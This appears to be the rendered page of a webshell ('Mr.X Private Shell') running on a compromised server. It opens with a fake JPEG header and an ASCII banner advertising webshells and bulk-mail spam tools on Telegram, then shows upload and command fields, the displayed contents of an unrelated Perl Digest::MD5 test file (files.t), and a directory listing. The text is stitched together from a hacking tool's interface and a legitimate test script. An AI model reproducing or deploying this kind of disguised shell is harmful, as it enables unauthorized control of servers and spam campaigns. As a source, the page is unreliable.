����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
use strict;
use warnings;

use Digest::MD5 qw(md5 md5_hex md5_base64);

print "1..3\n";

# To update the EBCDIC section even on a Latin 1 platform,
# run this script with $ENV{EBCDIC_MD5SUM} set to a true value.
# (You'll need to have Perl 5.7.3 or later, to have the Encode installed.)
# (And remember that under the Perl core distribution you should
#  also have the $ENV{PERL_CORE} set to a true value.)

my $EXPECT;
if (ord "A" == 193) { # EBCDIC
    $EXPECT = <<EOT;
0956ffb4f6416082b27d6680b4cf73fc  README
f9d533188a37309320d2805372db0b0e  MD5.xs
276da0aa4e9a08b7fe09430c9c5690aa  rfc1321.txt
EOT
} else {
    # This is the output of: 'md5sum README MD5.xs rfc1321.txt'
    $EXPECT = <<EOT;
2f93400875dbb56f36691d5f69f3eba5  README
f4b5da4e0f19b4c0ab374b7085ed8955  MD5.xs
754b9db19f79dbc4992f7166eb0f37ce  rfc1321.txt
EOT
}

if (!(-f "README") && -f "../README") {
   chdir("..") or die "Can't chdir: $!";
}

my $testno = 0;

my $B64 = 1;
eval { require MIME::Base64; };
if ($@) {
    print "# $@: Will not test base64 methods\n";
    $B64 = 0;
}

for (split /^/, $EXPECT) {
    my($md5hex, $file) = split ' ';
    my $base = $file;
#    print "# $base\n";
    if ($ENV{PERL_CORE}) {
         # Don't have these in core.
        if ($file eq 'rfc1321.txt' or $file eq 'README') {
            print "ok ", ++$testno, " # Skip: PERL_CORE\n";
            next;
        }
    }
#    print "# file = $file\n";
    unless (-f $file) {
        warn "No such file: $file\n";
        next;
    }
    if ($ENV{EBCDIC_MD5SUM}) {
        require Encode;
        my $data = cat_file($file);
        Encode::from_to($data, 'latin1', 'cp1047');
        print md5_hex($data), "  $base\n";
        next;
    }
    my $md5bin = pack("H*", $md5hex);
    my $md5b64;
    if ($B64) {
        $md5b64 = MIME::Base64::encode($md5bin, "");
        chop($md5b64); chop($md5b64);   # remove padding
    }
    my $failed;
    my $got;

    if (digest_file($file, 'digest') ne $md5bin) {
        print "$file: Bad digest\n";
        $failed++;
    }

    if (($got = digest_file($file, 'hexdigest')) ne $md5hex) {
        print "$file: Bad hexdigest: got $got expected $md5hex\n";
        $failed++;
    }

    if ($B64 && digest_file($file, 'b64digest') ne $md5b64) {
        print "$file: Bad b64digest\n";
        $failed++;
    }

    my $data = cat_file($file);
    if (md5($data) ne $md5bin) {
        print "$file: md5() failed\n";
        $failed++;
    }
    if (md5_hex($data) ne $md5hex) {
        print "$file: md5_hex() failed\n";
        $failed++;
    }
    if ($B64 && md5_base64($data) ne $md5b64) {
        print "$file: md5_base64() failed\n";
        $failed++;
    }

    if (Digest::MD5->new->add($data)->digest ne $md5bin) {
        print "$file: MD5->new->add(...)->digest failed\n";
        $failed++;
    }
    if (Digest::MD5->new->add($data)->hexdigest ne $md5hex) {
        print "$file: MD5->new->add(...)->hexdigest failed\n";
        $failed++;
    }
    if ($B64 && Digest::MD5->new->add($data)->b64digest ne $md5b64) {
        print "$file: MD5->new->add(...)->b64digest failed\n";
        $failed++;
    }

    my @data = split //, $data;
    if (md5(@data) ne $md5bin) {
        print "$file: md5(\@data) failed\n";
        $failed++;
    }
    if (Digest::MD5->new->add(@data)->digest ne $md5bin) {
        print "$file: MD5->new->add(\@data)->digest failed\n";
        $failed++;
    }
    my $md5 = Digest::MD5->new;
    for (@data) {
        $md5->add($_);
    }
    if ($md5->digest ne $md5bin) {
        print "$file: $md5->add()-loop failed\n";
        $failed++;
    }

    print "not " if $failed;
    print "ok ", ++$testno, "\n";
}


sub digest_file
{
    my($file, $method) = @_;
    $method ||= "digest";
    #print "$file $method\n";

    open(FILE, $file) or die "Can't open $file: $!";
    my $digest = Digest::MD5->new->addfile(*FILE)->$method();
    close(FILE);

    $digest;
}

sub cat_file
{
    my($file) = @_;
    local $/;  # slurp
    open(FILE, $file) or die "Can't open $file: $!";

    # For PerlIO in case of UTF-8 locales.
    eval 'binmode(FILE, ":bytes")' if $] >= 5.008;

    my $tmp = <FILE>;
    close(FILE);
    $tmp;
}

Filemanager

Name Type Size Permission Actions
align.t File 349 B 0644
badfile.t File 358 B 0644
bits.t File 501 B 0644
clone.t File 811 B 0644
files.t File 4.07 KB 0644
md5-aaa.t File 86.22 KB 0644
threads.t File 579 B 0644
utf8.t File 1.06 KB 0644
warns.t File 1.43 KB 0644